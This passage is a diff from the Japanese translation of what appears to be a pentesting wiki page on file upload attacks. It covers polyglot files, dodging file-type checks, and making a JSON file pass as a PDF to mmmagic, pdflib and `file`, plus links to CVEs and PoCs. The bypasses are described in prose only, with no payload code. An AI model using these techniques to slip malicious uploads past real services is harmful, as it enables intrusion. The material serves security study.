More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
|
|
||||||
## Polyglot Files
|
## Polyglot Files
|
||||||
|
|
||||||
Polyglot filesは複数のファイルフォーマットとして同時に有効であり得る「カメレオン」的なツールです。興味深い例としては、GIFとRARのハイブリッドである[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。これらはGIFとRARの組み合わせに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
|
Polyglot filesは、複数のファイル形式として同時に有効に存在できる“カメレオン”的なツールです。興味深い例としては、GIFとRARのハイブリッドである[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。こうしたファイルはこの組み合わせに限らず、GIFとJS、PPTとJSなどの組み合わせも可能です。
|
||||||
|
|
||||||
polyglotの主な利点は、ファイルタイプに基づく検査を回避できる点にあります。多くのアプリケーションでは、アップロードをJPEGやGIF、DOCなどの特定のファイルタイプに限定して、JSやPHP、Pharのような危険な形式を防ごうとします。しかし、polyglotは複数のファイルタイプの構造要件を満たすことで、これらの制限を巧妙にすり抜けることができます。
|
polyglot filesの主な有用性は、ファイルタイプに基づいてスクリーニングするセキュリティ対策を回避できる点にあります。多くのアプリケーションでは、潜在的に危険なフォーマット(例:JS、PHP、Phar)によるリスクを軽減するために、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロード許可するという運用が行われます。しかし、polyglotは複数のファイル形式の構造要件を満たすことで、これらの制限を巧妙に回避できます。
|
||||||
|
|
||||||
ただし、polyglotにも制約はあります。例えば、PHAR(PHp ARchive)とJPEGを同時に兼ねるpolyglotであっても、アップロードの可否はプラットフォームの拡張子ポリシーに依存する場合があります。システムが許可される拡張子に厳格な場合、polyglotの構造的二面性だけではアップロードが保証されないことがあります。
|
とはいえ、polyglotにも制約はあります。たとえば、PHAR(PHp ARchive)とJPEGを同時に兼ねるpolyglotがあったとしても、プラットフォームのファイル拡張子ポリシーによってはアップロードがブロックされる可能性があり、構造上の二重性だけではアップロードが保証されない場合があります。
|
||||||
|
|
||||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
|
|
||||||
### PDFのように見せかけて有効なJSONをアップロードする方法
|
### PDFのふりをして有効なJSONをアップロードする方法
|
||||||
|
|
||||||
有効なJSONファイルを、あたかもPDFであるかのように偽装してアップロードし、ファイルタイプ検出を回避する方法(**[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** の手法):
|
許可されていない場合でもPDFを偽装して有効なJSONファイルをアップロードすることでファイルタイプ検出を回避する方法(**[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** の手法):
|
||||||
|
|
||||||
- **`mmmagic` library**: 最初の1024バイト内に`%PDF`のマジックバイトがあれば有効と見なされる(投稿の例を参照)
|
- **`mmagic` library**: 最初の1024バイト以内に`%PDF`のマジックバイトがあれば有効と見なされます(例は記事参照)
|
||||||
- **`pdflib` library**: JSONのフィールド内に偽のPDFフォーマットを追加することでライブラリがPDFだと判断する(投稿の例を参照)
|
- **`pdflib` library**: JSONのフィールド内に偽のPDFフォーマットを追加して、ライブラリにPDFだと判断させます(例は記事参照)
|
||||||
- **`file` binary**: ファイルから最大1048576バイトを読み取れる。JSONをそれより大きく作成して中身をJSONとして解析できなくし、そのJSON内に実際のPDFの先頭部分を入れれば、PDFだと判断される
|
- **`file` binary**: ファイルから最大1048576バイトを読み取れます。これより大きなJSONを作成して内容をJSONとして解析できないようにし、そのJSON内に実際のPDFの先頭部分を入れておけば、`file`はそれをPDFだと判断します
|
||||||
|
|
||||||
## 参考資料
|
## References
|
||||||
|
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||||
@ -356,6 +398,9 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
|
|||||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||||
|
- [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
|
||||||
|
- [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
|
||||||
|
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user